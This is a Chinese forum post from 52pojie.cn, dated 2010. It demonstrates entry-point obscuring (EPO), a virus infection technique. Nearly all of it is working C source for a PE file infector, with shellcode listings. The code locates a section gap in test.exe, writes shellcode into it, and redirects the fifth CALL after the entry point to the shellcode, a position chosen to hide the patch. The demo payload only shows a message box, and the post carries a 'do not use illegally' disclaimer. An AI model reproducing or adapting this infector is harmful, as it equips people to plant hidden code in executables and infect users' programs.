吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4740|回复: 0
收起左侧

[其他转载] 简单实现个EPO

 关闭 [复制链接]
ximo 发表于 2010-3-22 23:53
本帖最后由 ximo 于 2010-3-23 00:08 编辑

EPO是病毒感染技术之一,具体的概念请自己百度,不做过多解释。本文仅仅是简单的演示,请勿用于非法用途,谢谢。
没什么好解释的,直接上代码吧.
/***************************************************************************************************************************
简单的EPO的实现
1.从OEP处开始查找CALL(E8 ????????),为了避免太过明显,则取第5个CALL进行替换
2.把要插入的shellcode代码插到节空隙处,若节空隙不够,则不进行感染,
    若您的shellcode比较长也可以考虑加节或者扩展最后一个节
3.感染的代码仅仅为弹个对话框而已,因为仅仅是演示而已,当然你可以进行需要自己修改
4.因为是演示,所以很多细节都没处理,比如没有指定目录,而只是处理当前所在目录下test.exe,很多错误处理也没做
5.[LCG]:http://www.52pojie.cn
   [DFJG]:http://www.80dfj.org

下面是要插入的shellcode代码
01013AA7   .  60                 pushad
01013AA8   .  E8 00000000        call calc.01013AAD
01013AAD   $  5B                 pop ebx
01013AAE   .  81EB AD3A0101      sub ebx,calc.01013AAD                        ;  入口地址
01013AB4   .  6A 00              push 0                                       ; /Style = MB_OK|MB_APPLMODAL
01013AB6   .  8D83 D53A0101      lea eax,dword ptr ds:[ebx+1013AD5]           ; |title
01013ABC   .  50                 push eax                                     ; |Title
01013ABD      8D83 DD3A0101      lea eax,dword ptr ds:[ebx+1013ADD]           ;  caption
01013AC3   .  50                 push eax                                     ; |Text
01013AC4   .  6A 00              push 0                                       ; |hOwner = NULL
01013AC6   .  B8 8A05D577        mov eax,user32.MessageBoxA                   ; |修改地方+32
01013ACB   .  FFD0               call eax                                     ; \MessageBoxA
01013ACD   .  61                 popad
01013ACE   .^ E9 CA38FFFF        jmp calc.0100739D
01013AD3      00                 db 00
01013AD4      00                 db 00
01013AD5   .  38 30 64 66 6A 00  ascii "80dfj",0
01013ADB      00                 db 00
01013ADC      00                 db 00
01013ADD   .  61 20 73 61 6D 70 >ascii "a sample epo tes"
01013AED   .  74 21 00           ascii "t!",0
01013AF0      00                 db 00
01013AF1      00                 db 00

60 E8 00 00 00 00 5B 81 EB AD 3A 01 01 6A 00 8D 83 D5 3A 01 01 50 8D 83 DD 3A 01 01 50 6A 00 B8
8A 05 D5 77 FF D0 61 E9 CA 38 FF FF 00 00 38 30 64 66 6A 00 00 00 61 20 73 61 6D 70 6C 65 20 65
70 6F 20 74 65 73 74 21 00 00 00
****************************************************************************************************************************/

#include <windows.h>
#include "disasm.h"

char szFileName[MAX_PATH]="test.exe";
UINT nIndex=0;

//所要插入的代码
char shellcode[]={
    0x60,0xE8,0x00,0x00,0x00,0x00,0x5B,0x81,0xEB,0xAD,
    0x3A,0x01,0x01,0x6A,0x00,0x8D,0x83,0xD5,0x3A,0x01,
    0x01,0x50,0x8D,0x83,0xDD,0x3A,0x01,0x01,0x50,0x6A,
    0x00,0xB8,0x12,0x34,0x56,0x78,0xFF,0xD0,0x61,0xE9,
    0xCA,0x38,0xFF,0xFF,0x00,0x00,0x38,0x30,0x64,0x66,
    0x6A,0x00,0x00,0x00,0x61,0x20,0x73,0x61,0x6D,0x70,
    0x6C,0x65,0x20,0x65,0x70,0x6F,0x20,0x74,0x65,0x73,
    0x74,0x21,0x00,0x00,0x00
};

//RVA转Offset
DWORD RVAToOffset(LPVOID lpBase,DWORD VirtualAddress)

{   
    PIMAGE_DOS_HEADER MyDosHeader;
    PIMAGE_NT_HEADERS MyNtHeader;
    PIMAGE_SECTION_HEADER MySectionHeader;
    MyDosHeader=(PIMAGE_DOS_HEADER)lpBase;
    MyNtHeader=(PIMAGE_NT_HEADERS)((long)lpBase+MyDosHeader->e_lfanew);
    MySectionHeader=(PIMAGE_SECTION_HEADER)((UINT32)MyNtHeader+0x18+(UINT32)MyNtHeader->FileHeader.SizeOfOptionalHeader);
    int NumOfSection;
    NumOfSection=MyNtHeader->FileHeader.NumberOfSections;
    DWORD dwSizeOfSection;
    dwSizeOfSection=sizeof(IMAGE_SECTION_HEADER);
    if (VirtualAddress<MySectionHeader->VirtualAddress)
    {
        return VirtualAddress;
    }
    else
    {
        for(int i=0;i<NumOfSection;i++)
        {
            if(VirtualAddress>=MySectionHeader->VirtualAddress&&VirtualAddress<MySectionHeader->VirtualAddress+MySectionHeader->Misc.VirtualSize)
            {
                DWORD dwTmp=MySectionHeader->VirtualAddress-MySectionHeader->PointerToRawData;
                DWORD Offset=VirtualAddress-dwTmp;
                return Offset;
            }
            else
            {
                MySectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)MySectionHeader+dwSizeOfSection);
            }
        }
    }
    return 0;
}


int WINAPI WinMain( IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
{
    HANDLE hFile=CreateFile(szFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return 0;
    }
   HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
   if (hMap==NULL)
   {
       CloseHandle(hMap);
       return 0;
   }
   LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
   if (lpBase==NULL)
   {
       CloseHandle(hMap);
       CloseHandle(hFile);
       return 0;
   }
   //判断是否为PE文件
   PIMAGE_DOS_HEADER MyDosHeader;
   MyDosHeader=(PIMAGE_DOS_HEADER)lpBase;
   if (MyDosHeader->e_magic!='ZM')  
   {
       UnmapViewOfFile(lpBase);
       CloseHandle(hMap);
       CloseHandle(hFile);
       return 0;
   }
   DWORD FileSize;
   FileSize=GetFileSize(hFile,NULL);
   if (MyDosHeader->e_lfanew>FileSize)
   {
       UnmapViewOfFile(lpBase);
       CloseHandle(hMap);
       CloseHandle(hFile);
       return 0;
   }
   
   PIMAGE_NT_HEADERS MyNtHeader;
   MyNtHeader=(PIMAGE_NT_HEADERS)((long)lpBase+MyDosHeader->e_lfanew);
   if (MyNtHeader->Signature!='EP')
   {
       UnmapViewOfFile(lpBase);
       CloseHandle(hMap);
       CloseHandle(hFile);
       return 0;
   }
   if (MyNtHeader->OptionalHeader.AddressOfEntryPoint==0)
   {
       UnmapViewOfFile(lpBase);
       CloseHandle(hMap);
       CloseHandle(hFile);
       return 0;
   }

   PIMAGE_SECTION_HEADER MySectionHeader;
   MySectionHeader=(PIMAGE_SECTION_HEADER)((UINT32)MyNtHeader+0x18+(UINT32)MyNtHeader->FileHeader.SizeOfOptionalHeader);
   int iSectionNum=MyNtHeader->FileHeader.NumberOfSections;
   DWORD dwNewCodeAddr=0;  //新的要写入的地址
   //循环搜索节空隙
   for(int SecIndex=0;SecIndex<iSectionNum;SecIndex++)
   {
       DWORD dwCoveSize;
       dwCoveSize=MySectionHeader->SizeOfRawData-MySectionHeader->Misc.VirtualSize; //计算节空隙 
        if (sizeof(shellcode)>dwCoveSize) //空隙不够,继续搜索
        {
            MySectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)MySectionHeader+sizeof(IMAGE_SECTION_HEADER));
        }
        else
        {
            dwNewCodeAddr=(DWORD)lpBase+MySectionHeader->PointerToRawData+MySectionHeader->Misc.VirtualSize; //要写入的shellcode的地址
            break;
        }
   }
  
//若均无足够空隙,则不进行处理
if (dwNewCodeAddr==0)
{
     UnmapViewOfFile(lpBase);
     CloseHandle(hMap);
     CloseHandle(hFile);
      return 0;
}

  DWORD dwSearchBegin,dwSearchLen;
  //假设从OEP处当做搜索起点
   dwSearchBegin=RVAToOffset(lpBase,MyNtHeader->OptionalHeader.AddressOfEntryPoint)+(DWORD)lpBase;
   dwSearchLen=MySectionHeader->Misc.VirtualSize; //搜索长度
   t_disasm da;
   int nCodelen;
   DWORD dwResultAddr=0; //查找到的地址
   DWORD dwRawAddr; //原来要跳转的地址
   DWORD  iCount=1;
   for (nIndex=0;nIndex<dwSearchLen;) //开始搜索
   {
      nCodelen= Disasm((char*)(dwSearchBegin+nIndex), 20,0, &da,DISASM_CODE);
      if (nCodelen==5 && (BYTE)*(DWORD*)(dwSearchBegin+nIndex)==0xE8 )
      {
         if (iCount==5)  //为了防止感染的地方太过明显,从第5个CALL才开始替换
         {
             dwResultAddr=dwSearchBegin+nIndex;
             dwRawAddr=(DWORD)*(DWORD*)(dwResultAddr+1); //相对跳转地址
             dwRawAddr=dwResultAddr+dwRawAddr+5;
             if (dwRawAddr>=(DWORD)lpBase && dwRawAddr<=((DWORD)lpBase+FileSize)) //搜索到的CALL地址是否合法
             {
                 break;
             }
             else
             {
                 nIndex+=nCodelen;
                 continue;
             }
         }
         else
         {
             iCount++;
         }
        

      }
      nIndex+=nCodelen;
   }

   if (dwResultAddr==0)
   {
       UnmapViewOfFile(lpBase);
       CloseHandle(hMap);
       CloseHandle(hFile);
       return 0;
   }
   //差找到合法的地址后,开始猥琐
   //先开始替换MessageBoxA的地址
   int x=0x18;
   HMODULE hUser32=LoadLibrary("user32.dll");
   DWORD dwMsgBox=(DWORD)GetProcAddress(hUser32,"MessageBoxA");   
   for (int i=3;i>=0;i--)
   {
       shellcode[i+32] =((unsigned int)dwMsgBox>>x)&0xff;
       x -= 8 ;
   }
   //修正原始CALL地址
   DWORD dwWriteAddr=dwNewCodeAddr+0x27;
   DWORD dwJMPValue=dwRawAddr-dwWriteAddr-5;
   x=0x18;
   for(i=3;i>=0;i--)
   {
        shellcode[i+0x28]=(dwJMPValue>>x)&0xff;
        x-=8;
   }
  //写入shellcode
   SetFilePointer(hFile,dwNewCodeAddr-(DWORD)lpBase,NULL,FILE_BEGIN);
   DWORD dwWrite;
   WriteFile(hFile,shellcode,sizeof(shellcode),&dwWrite,NULL);

   //把原始地址替换掉
   DWORD dwNewJMPValue=dwNewCodeAddr-dwResultAddr-5;
   SetFilePointer(hFile,dwResultAddr+1-(DWORD)lpBase,NULL,FILE_BEGIN);
   WriteFile(hFile,&dwNewJMPValue,4,&dwWrite,NULL);
//收尾
   UnmapViewOfFile(lpBase);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return 0;
}
附件是编译后的epo程序以及所用到的反汇编引擎。

epo.rar

73.4 KB, 下载次数: 18, 下载积分: 吾爱币 -1 CB

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-17 02:51

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表